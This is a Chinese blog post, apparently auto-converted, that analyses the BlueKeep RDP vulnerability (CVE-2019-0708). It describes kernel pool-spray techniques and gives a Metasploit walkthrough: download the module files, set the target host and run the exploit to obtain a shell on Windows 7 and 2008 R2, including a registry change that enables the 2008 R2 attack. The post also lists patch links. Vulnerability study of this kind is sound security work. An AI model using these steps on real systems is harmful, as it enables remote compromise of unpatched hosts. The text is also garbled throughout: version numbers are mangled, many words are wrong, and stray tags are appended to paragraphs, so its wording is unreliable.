Windows RDP的RCE漏洞分析和復現（CVE-2019-0708）

時間 2019-11-06

標籤 windows rdp rce 漏洞分析復現 cve 欄目 Windows 简体版

原文原文鏈接

0x00 漏洞描述

Windows系列服務器於2019年5月15號，被爆出高危漏洞，該漏洞影響範圍較廣如：windows200三、windows200八、windows2008 R二、windows xp系統都會遭到攻擊，該服務器漏洞利用方式是經過遠程桌面端口3389，RDP協議進行攻擊的。這個漏洞是今年來講危害嚴重性最大的漏洞，跟以前的勒索，永恆之藍病毒差很少。CVE-2019-0708漏洞是經過檢查用戶的身份認證，致使能夠繞過認證，不用任何的交互，直接經過rdp協議進行鏈接發送惡意代碼執行命令到服務器中去。若是被攻擊者利用，會致使服務器入侵，中病毒，像WannaCry 永恆之藍漏洞同樣大規模的感染。2019年9月7日晚上凌晨1點左右，metaspolit更新了漏洞利用程序python

在2019年5月，微軟發佈了針對遠程代碼執行漏洞CVE-2019-0708的補丁更新，該漏洞也稱爲「BlueKeep」，漏洞存在於遠程桌面服務（RDS）的代碼中。此漏洞是預身份驗證，無需用戶交互，所以具備潛在武器化蠕蟲性性漏洞利用的危險。若是成功利用此漏洞，則可使用「系統」權限執行任意代碼。Microsoft安全響應中心的建議代表這個漏洞也可能會成爲一種蠕蟲攻擊行爲，相似於Wannacry和EsteemAudit等攻擊行爲。因爲此漏洞的嚴重性及其對用戶的潛在影響，微軟採起了罕見的預警步驟，爲再也不受支持的Windows XP操做系統發佈補丁，以保護Windows用戶。git

0x01 漏洞影響

該漏洞影響舊版本的Windows系統，包括：
Windows 七、Windows Server 2008 R二、Windows Server 200八、Windows 200三、Windows XP。
Windows 8和Windows 10及以後版本不受此漏洞影響。github

0x02 cve_2019_0708_bluekeep_rce.rb 介紹

此PR爲CVE-2019-0708（又名BlueKeep）添加了一個漏洞利用模塊，該模塊經過RDP利用遠程Windows內核釋放後使用漏洞。rdp termdd.sys驅動程序未正確處理綁定到僅限內部的通道ms_t120，從而容許格式錯誤的斷開鏈接提供程序指示消息致使釋放後被使用。利用可控制的數據和遠程非分頁面池堆噴射，使用空閒信道的間接調用小工具來實現任意代碼執行。shell

這個模塊最初由@zerosum0x0和@ryhanson開發，而後由@oj、@zerosteiner、@rickoates、@wvu-r七、@bwatters-r七、@wchen-r七、@tsellers-r七、@todb-r7和其餘人進一步開發。爲了利用metasploit中的rdp和其餘庫加強功能，該模塊從python外部模塊移植到本機ruby模塊。果您但願檢查並將其與當前實現進行比較，則原始Python模塊位於提交歷史記錄中。windows

該模塊當前以64位版本的Windows 7和Windows Server 2008 R2爲目標。對於Windows Server 2008 R2，須要修改註冊表項以啓用經過rdpsnd通道進行堆噴射，但仍有其餘可能使用在全部Windows操做系統上默認啓用的備用通道。api

因爲用戶須要提供額外的目標信息或有使目標主機崩潰的風險，該模塊目前被列爲手動模塊。該模塊實現了一個默認的僅指向的目標選項，該選項只檢查易受攻擊的主機，並顯示有關特定目標操做系統的一些初始信息，但用戶須要根據輔助偵察指定更精確的目標或直到進一步改進模塊能夠在運行時更準確地肯定目標內核內存佈局。數組

有針對沒有打補丁的，裸機、VirtualBox、VMWare和Hyper-V的特定目標，儘管目標環境中可能還有其餘變量，這些變量會額外轉移基礎地址以進行修飾。緩存

0x03 漏洞分析

1. PDU

根據MS-RDPBCGR（遠程桌面協議：鏈接和遠程處理）文檔，位圖緩存PDU的全名是TS_BITMAPCACHE_PERSISTENT_LIST_PDU，密鑰列表PDU數據被嵌入在永久密鑰列表PDU中。永久密鑰列表PDU是在客戶端從客戶端發送到服務器的RDP鏈接序列PDU安全

RDP鏈接序列的鏈接完成階段，如圖1所示。ruby

圖1.遠程桌面協議（RDP）鏈接順序

永久密鑰列表PDU報頭是通用RDP PDU報頭，其構造以下，如圖2所示：tpktHeader（4字節）+ x224Data（3字節）+ mcsSDrq（變量）+ securityHeader（變量）。

圖2.客戶端持久密鑰列表PDU

根據MS-RDPBCGR文檔，TS_BITMAPCACHE_PERSISTENT_LIST_PDU是一個結構，其中包含從先前會話中發送的高速緩存位圖中保存的高速緩存位圖密鑰列表。如圖3所示。

圖3.持久密鑰列表PDU數據（BITMAPCACHE PERSISTENT LIST PDU）

根據設計，位圖緩存PDU用於RDP客戶端通知服務器它具備與密鑰相關聯的位圖的本地副本，這代表服務器不須要將位圖從新發送到客戶端。基於MS-RDPBCGR文檔，Bitmap PDU有四個特徵：

RDP服務器將分配內核池來存儲緩存的位圖鍵。
RDP服務器分配的內核池大小能夠經過結構中的「WORD值」numEntriesCache X字段來控制，而BITMAPCACHE PERSISTENT中的totalEntriesCache X是RDP客戶端的LIST結構。
位圖緩存PDU能夠合法地屢次發送，由於位圖密鑰能夠在多個持久密鑰列表PDU中發送，每一個PDU使用bBitMask字段中的標記來標記。
位圖鍵的數量限制爲169。

基於BITMAPCACHE PERSISTENT LIST PDU的這四個特性，若是能夠繞過限制爲169的位圖鍵數量，那麼就能夠將任意數據寫入內核。

2.如何使用PDU將數據寫入內核

根據MS-RDPBCGR文檔，正常解密的BITMAPCACHE PERSISTENT LIST PDU以下所示：

f2 00 -> TS_SHARECONTROLHEADER::totalLength = 0x00f2 = 242 bytes
17 00 -> TS_SHARECONTROLHEADER::pduType = 0x0017

0x0017

= 0x0010 | 0x0007

= TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU

ef 03 -> TS_SHARECONTROLHEADER::pduSource = 0x03ef = 1007

ea 03 01 00 -> TS_SHAREDATAHEADER::shareID = 0x000103ea

00 -> TS_SHAREDATAHEADER::pad1

01 -> TS_SHAREDATAHEADER::streamId = STREAM_LOW (1)

00 00 -> TS_SHAREDATAHEADER::uncompressedLength = 0

2b -> TS_SHAREDATAHEADER::pduType2 =

PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST (43)

00 -> TS_SHAREDATAHEADER::generalCompressedType = 0

00 00 -> TS_SHAREDATAHEADER::generalCompressedLength = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[0] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[1] = 0

19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[2] = 0x19 = 25

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[3] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[4] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[0] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[1] = 0

19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[2] = 0x19 = 25

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[3] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[4] = 0

03 -> TS_BITMAPCACHE_PERSISTENT_LIST::bBitMask = 0x03

0x03

= 0x01 | 0x02

= PERSIST_FIRST_PDU | PERSIST_LAST_PDU

00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad2

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad3

TS_BITMAPCACHE_PERSISTENT_LIST::entries:

a3 1e 51 16 -> Cache 2, Key 0, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1)

48 29 22 78 -> Cache 2, Key 0, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2)

61 f7 89 9c -> Cache 2, Key 1, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1)

cd a9 66 a8 -> Cache 2, Key 1, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2)

在內核模塊RDPWD.sys中，函數例程ShareClass :: SBC_HandlePersistentCacheList負責解析BITMAPCACHE PERSISTENT LIST PDU。當結構中的bBitMask字段被設置爲位值0x01時，它指出當前PDU是PERSIST FIRST PDU。而後，SBC_HandlePersistentCacheList將調用WDLIBRT_MemAlloc來分配內核池（分配內核內存）以存儲持久位圖緩存鍵，如圖4所示。值0x00表示當前PDU是PERSIST MIDDLE PDU。值0x02表示當前PDU是PERSIST LAST PDU。解析PERSIST MIDDLE PDU和PERSIST LAST PDU時，SBC_HandlePersistentCacheList會將位圖緩存鍵複製到以前分配的內存中，如圖5所示。

圖4. SBC_HandlePersistentCacheList池分配和totalEntriesCacheLimit檢查

圖5. SBC_HandlePersistentCacheList複製位圖緩存鍵

Windows 7 x86上的堆棧跟蹤和SBC_HandlePersistentCacheList的TS_BITMAPCACHE_PERSISTENT_LIST結構的第二個參數如圖6和圖7所示。

圖6. SBC_HandlePersistentCacheList堆棧跟蹤

圖7. TS_BITMAPCACHE_PERSISTENT_LIST結構做爲SBC_HandlePersistentCacheList的第二個參數

如圖4所示，bitmapCacheListPoolLen = 0xC *（總長度+4）和總長度= totalEntriesCache0 + totalEntriesCache1 + totalEntriesCache2 + totalEntriesCache3 + totalEntriesCache4。

基於此公式，咱們能夠設置「WORD值」totalEntriesCache X = 0xffff，使bitmapCacheListPoolLen爲最大值。可是，對於圖8中顯示的每一個totalEntriesCache X，都有一個totalEntriesCacheLimit檢查.

totalEntriesCacheLimit X來自TS_BITMAPCACHE_CAPABILITYSET_REV2結構，該結構在經過RDPWD調用DCS_Init時在CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2函數中啓動，如圖8所示。這將在解析確認PDU時組合在CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2函數中，如圖9所示。

圖8. RDPWD！CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2

圖9. RDPWD！CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2

CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2將服務器啓動的NumCellCaches（0x03）和totalEntriesCacheLimit [0-4]（0x258,0x258,0x10000,0x0,0x0）與客戶端請求NumCellCaches（0x03）和totalEntriesCache [0-4]（0x80000258,0x80000258,0x8000fffc，0x0）組合在一塊兒，0x0），如圖9中的edx和esi寄存器所示。

客戶端能夠控制NumCellCaches和totalEntriesCache [0-4]，如圖10所示，但它們不能經過服務器啓動的NumCellCaches（0x03）和totalEntriesCacheLimit [0-4] ]（0x258,0x258,0x10000,0x0,0x0）如圖11所示。

圖10. TS_BITMAPCACHE_CAPABILITYSET_REV2

圖11. CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2函數

有了這些信息，咱們能夠計算出最大bitmapCacheListPoolLen = 0xC *（0x10000 + 0x258 + 0x258 + 4）= 0xc3870，理論上能夠控制內核池中的0x8 *（0x10000 + 0x258 + 0x258 + 4）= 0x825a0字節數據，如圖所示在圖12中。

圖12.持久密鑰列表PDU內存轉儲

可是，觀察到並不是全部數據均可以由位圖緩存列表池中的RDP客戶端按預期被控制。每一個8字節受控數據之間存在4字節不受控制的數據（索引值），這對於shellcode存放是不太友好的。此外，0xc3870大小的內核池不能屢次分配，由於持久密鑰列表PDU只能合法地發送一次。可是，仍然存在特定的統計特徵，即內核池將在相同的內存地址處分配。此外，在位圖緩存列表池分配以前老是有一個0x2b522c（在x86上）或0x2b5240（在x64上）內核大小的池，這對於堆分配很是有用，尤爲是在x64上，如圖13所示。

圖13.持久密鑰列表PDU統計特性

3.刷新Rect PDU

根據MS-RDPBCGR文檔，刷新PDU會使RDP客戶端請求服務器從新分配一個會話。該結構包括通用PDU頭和圖14中所示的refreshRectPduData（變量）。

圖14.刷新Rect PDU數據

numberOfAreas字段是一個8位無符號整數，用於定義areasToRefresh字段中的包含Rectangle結構的數量。areaToRefresh字段是TS_RECTANGLE16結構的數組，如圖15所示。

圖15.包含Rectangle（TS_RECTANGLE16）

Refresh Rect PDU經過一系列「Inclusive Rectangles」操做通知服務器，以使服務器從新分配一個會話。基於默認通道，通道ID爲0x03ea（服務器通道ID）。鏈接序列完成後，如圖1所示，RDP服務器能夠接收/解析刷新矩陣PDU，最重要的是，能夠合法地屢次發送。雖然對於TS_RECTANGLE16結構僅限於8個字節，意味着RDP客戶端只能控制8個字節，但仍然能夠將任意數據寫入內核。

4.使用Refresh Rect PDU將數據寫入內核

正常解密的Refresh Rect PDU如圖16所示。

圖16.解密的Refresh Rect PDU

內核模塊RDPWD.sys代碼函數WDW_InvalidateRect負責解析Refresh Rect PDU，以下面的圖17所示。

圖17. RDPWD！WDW_InvalidateRect堆棧跟蹤

如圖18所示，WDW_InvalidateRect函數將解析Refresh Rect PDU流並從流中檢索numberOfAreas字段做爲循環計數。做爲字節類型字段，numberOfAreas的最大值爲0xFF，所以最大循環計數爲0xFF。在循環中，WDW_InvalidateRect函數將得到TS_RECTANGLE16結構中的左，上，右和下字段，將它們放在堆棧中的結構中，並將其做爲WDICART_IcaChannelInput的第 5 個參數。這裏要提到的是，WDICART_IcaChannelInput的第6 個參數是常數0x808，咱們將展現它如何有效地實現堆噴。

圖18. RDPWD！WDW_InvalidateRect函數

WDICART_IcaChannelInput最終將調用內核模塊termdd.sys函數IcaChannelInputInternal。如圖19所示，若是一系列條件檢查爲True，則函數IcaChannelInputInternal將調用ExAllocatePoolWithTag來分配inputSize_6th_para + 0x20大小的內核池。所以，當函數IcaChannelInputInternal由 RDPWD！WDW_InvalidateRect，inputSize_6th_para = 0x808調用時，內核池的大小爲0x828。

圖19. termdd！IcaChannelInputInternal ExAllocatePoolWithTag和memcpy

若是內核池分配成功，將調用memcpy將input_buffer_2複製到新分配的內核池內存。圖20顯示了當調用者是RDPWD！WDW_InvalidateRect時memcpy的參數。

圖20. termdd！IcaChannelInputInternal memcpy windbg轉儲

有趣的是，函數memcpy的源地址來自RDPWD！WDW_InvalidateRect堆棧上的stRect結構，只有前3個DWORD在RDPWD！WDW_InvalidateRect中設置，如圖21所示。剩餘內存是堆棧上未初始化的內容，很容易致使信息泄露。此外，使用0x808大小的內存來存儲12個字節的數據對於堆噴也是很友好的。

圖21. RDPWD！WDW_InvalidateRect stRect結構集

使用此信息，當RDP客戶端發送一個具備0xFF的numberOfAreas字段的Refresh Rect PDU時，RDP服務器將調用termdd！IcaChannelInputInternal 0xFF次。每一個termdd！IcaChannelInputInternal調用將分配0x828內核池內存並將8個字節的客戶端控制的TS_RECTANGLE16結構複製到該內核池。所以，numberOfAreas字段爲0xFF的一個Refresh Rect PDU將分配0xFF數量的0x828大小的內核池。理論上，若是RDP客戶端發送刷新矩陣PDU 0x200次，則RDP服務器將分配大約0x20000的0x828大小的非分頁內核池。考慮到0x828大小的內核池將與0x1000對齊，它們將跨越內核池的很是大的範圍，同時，客戶端控制的8個字節的數據將被複制到每一個0x1000內核池中固定的0x02c偏移量。如圖22所示，咱們在內核中使用Refresh Rect PDU得到穩定的pool spray。

圖22. RDPWD！WDW_InvalidateRect pool spray

有些狀況下，當指針（在圖23中表示爲變量v14）被termdd！IcaQueueReadChannelRequest修改而且比較將爲False時，不會調用ExAllocatePoolWithTag和memcpy，如圖23所示，該路由將進入例程IcaCopyDataToUserBuffer，這將致使池分配不成功。可是，當屢次發送Refresh Rect PDU時，即便存在一些不成功的池分配，咱們仍然能夠得到成功的內核池噴射。

此外，有些狀況下一些內核池小號的RDP服務器使用完以後能夠被釋放，可是內核池的內容將不會被清零，使得咱們噴到內核有效的利用使用數據。

圖23. termdd！IcaChannelInputInternal IcaCopyDataToUserBuffer

5.RDPDR客戶端name請求PDU

根據MS-RDPEFS文檔，RDPDR客戶端名稱請求PDU在[遠程桌面協議：文件系統虛擬通道擴展]中指定，該擴展在名爲RDPDR的靜態虛擬通道上運行。MS-RDPEFS協議的目的是將訪問從服務器重定向到客戶端文件系統。客戶端名稱請求是從客戶端發送到服務器的第二個PDU，如圖24所示。

圖24.文件系統虛擬通道擴展協議初始化

客戶端名稱請求PDU用於客戶端將其機器名稱發送到服務器，如圖25所示。

圖25.客戶端名稱請求（DR_CORE_CLIENT_NAME_REQ）

標頭是四個字節RDPDR_HEADER，其中Component字段設置爲RDPDR_CTYP_CORE，PacketId字段設置爲PAKID_CORE_CLIENT_NAME。ComputerNameLen字段（4個字節）是一個32位無符號整數，它指定ComputerName字段中的字節數。ComputerName字段（變量）是ASCII或Unicode字符的可變長度數組，其格式由UnicodeFlag字段肯定。這是一個標識客戶端計算機名稱的字符串。

6. 使用RDPDR客戶端name請求PDU將數據寫入內核

關於RDPDR客戶端名稱請求PDU，客戶端名稱請求PDU能夠合法地屢次發送，對於每一個請求，RDP服務器將分配內核池來存儲該信息，最重要的是，PDU的內容和長度能夠由RDP客戶端徹底控制。這使它成爲將數據寫入內核內存的絕佳選擇。

典型的RDPDR客戶端名稱請求PDU如圖26所示。

圖26.客戶端名稱請求內存轉儲

當RDP服務器接收RDPDR客戶端名稱請求PDU時，調用內核模塊termdd.sys中的函數IcaChannelInputInternal以首先調度信道數據，而後將調用RDPDR模塊來解析客戶端名稱請求PDU 的數據部分。客戶端名稱請求PDU的函數IcaChannelInputInternal應用與Refresh Rect PDU有相同的代碼邏輯。它將調用ExAllocatePoolWithTag來分配帶有標記TSic的內核內存，並使用memcpy將客戶端名稱請求數據複製到新分配的內核內存，如圖27所示。

圖27.客戶端名稱請求

到目前爲止，咱們已經證實複製的數據內容和長度都由RDP客戶端控制，而且客戶端名稱請求PDU能夠合法地屢次發送。因爲其靈活性和利用漏洞的特性，客戶端名稱請求PDU可用於回收UAF漏洞利用中的釋放內核池，也可用於將shellcode寫入內核池，甚至可使用將連續的客戶端控制數據噴射到內核內存中。

如圖28所示，咱們成功得到了穩定的池分配，並使用RDPDR客戶端名稱請求PDU將客戶端控制的數據寫入內核池。

圖28.客戶端名稱請求穩定池分配

上面介紹了使用RDP PDU將數據寫入內核的三種方法。

位圖緩存PDU容許RDP服務器在0x2b5200大小的池分配以後分配0xc3870大小的內核池並將可控數據寫入其中，但不能屢次執行0xc3870大小的內核池分配。
刷新Rect PDU能夠噴射許多0x828大小的內核池，這些內核池是0x1000對齊的，並將8個可控字節寫入每一個0x828大小的內核池中。

0x04 漏洞復現

1.測試環境：

攻擊機:kali2019.2

靶機： win7 sp1 7601 和 win2008r2 sp1 english standard

Windows7 SP1下載地址:

ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/

win2008r2 sp1 下載地址：

http://download.microsoft.com/download/7/5/E/75EC4E54-5B02-42D6-8879-D8D3A25FBEF7/7601.17514.101119-1850_x64fre_server_eval_en-us-GRMSXEVAL_EN_DVD.iso

2.復現測試

(1).替換所需文件

cve_2019_0708_bluekeep_rce.rb 替換 /usr/share/metasploit-framework/modules/exploits/windows/rdp/ #若是沒有RDP目錄須要自檢

rdp.rb 替換 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb

rdp_scanner.rb 替換 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb

cve_2019_0708_bluekeep.rb 替換 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

Kali下執行以下命令進行替換：

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/

cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/

cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/

cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/

（2）攻擊window7 sp1漏洞復現

MSF下執行以下命令：

msfconsole

msf5>reload_all #從新加載全部模塊

msf5 > search cve_2019_0708_bluekeep_rce

msf5>use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >info

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.1.7

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 1 #若是設置目標爲3(set taget 3),可能會出現藍屏現象，所以這裏設置target 1(我這裏是exis中的主機）

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

meterprter>shell

能夠看到成功反彈win7sp1 系統shell,根據實際狀況選擇target（能夠先測試3再測試2再測試1）

（2）攻擊window 2008r2 sp1漏洞復現

須要修改註冊表[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdp-tcp\fDisableCam]值修改成0(系統默認爲1）

在MSF下執行以下命令：

msf5 > search cve_2019_0708_bluekeep_rce

msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > info

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.1.10

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rport 3389

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 2

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

能夠看到成功反彈出目標win2008 r2的shell,該漏洞有點雞肋，目前測試時windows2008 r2 sp1 english版本且須要修改註冊表才能成功利用。

0x05 漏洞修復建議

CVE-2019-0708漏洞修復補丁以及安全建議

有些windows2008系統打不了補丁的通常是數據中心版本，能夠設置一下服務器，計算機右鍵屬性-遠程設置-僅容許運行使用網絡基自己份驗證的遠程桌面的計算機鏈接（更安全）（N），在這行點勾，而後確認便可，能夠臨時的防止漏洞的攻擊。

若是對補丁不知道該如何修復的，能夠啓用阿里雲的端口安全策略，禁止掉3389遠程端口，只容許本身的IP通訊便可。

1.Windows Server 2008 漏洞補丁系列下載地址

Windows Server 2008 32位系統:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x86_832cf179b302b861c83f2a92acc5e2a152405377.msu

Windows Server 2008 x64位系統:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x64_9236b098f7cea864f7638e7d4b77aa8f81f70fd6.msu

Windows Server 2008 R2 Itanium系統:

http://download.windowsupdate.com/c/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-ia64_fabc8e54caa0d31a5abe8a0b347ab4a77aa98c36.msu

Windows Server 2008 R2 x64系統:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu

Windows Server 2008 Itanium:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499180-ia64_805e448d48ab8b1401377ab9845f39e1cae836d4.msu

2.Windows Server 2003 漏洞補丁系列下載地址

Windows Server 2003 32位系統:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x86-custom-chs_4892823f525d9d532ed3ae36fc440338d2b46a72.exe

Windows Server 2003 64位系統:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-chs_f2f949a9a764ff93ea13095a0aca1fc507320d3c.exe

3. Windows XP 漏洞補丁系列下載地址

Windows XP SP3 32位系統:

http://download.windowsupdate.com/c/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-custom-chs_718543e86e06b08b568826ac13c05f967392238c.exe

Windows XP SP2 64位系統:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-enu_e2fd240c402134839cfa22227b11a5ec80ddafcf.exe

Windows XP SP3 for XPe:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-embedded-custom-chs_96da48aaa9d9bcfe6cd820f239db2fe96500bfae.exe

0x06 參考文獻

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/

https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/

https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/

https://github.com/rapid7/metasploit-framework/pull/12283

https://qiita.com/shimizukawasaki/items/024b296a4c9ae7c33961?from=groupmessage

https://mp.weixin.qq.com/s/6ROmesCqtfkLFYliwidcEwhttps://github.com/rapid7/metasploit-framework/pull/12283/files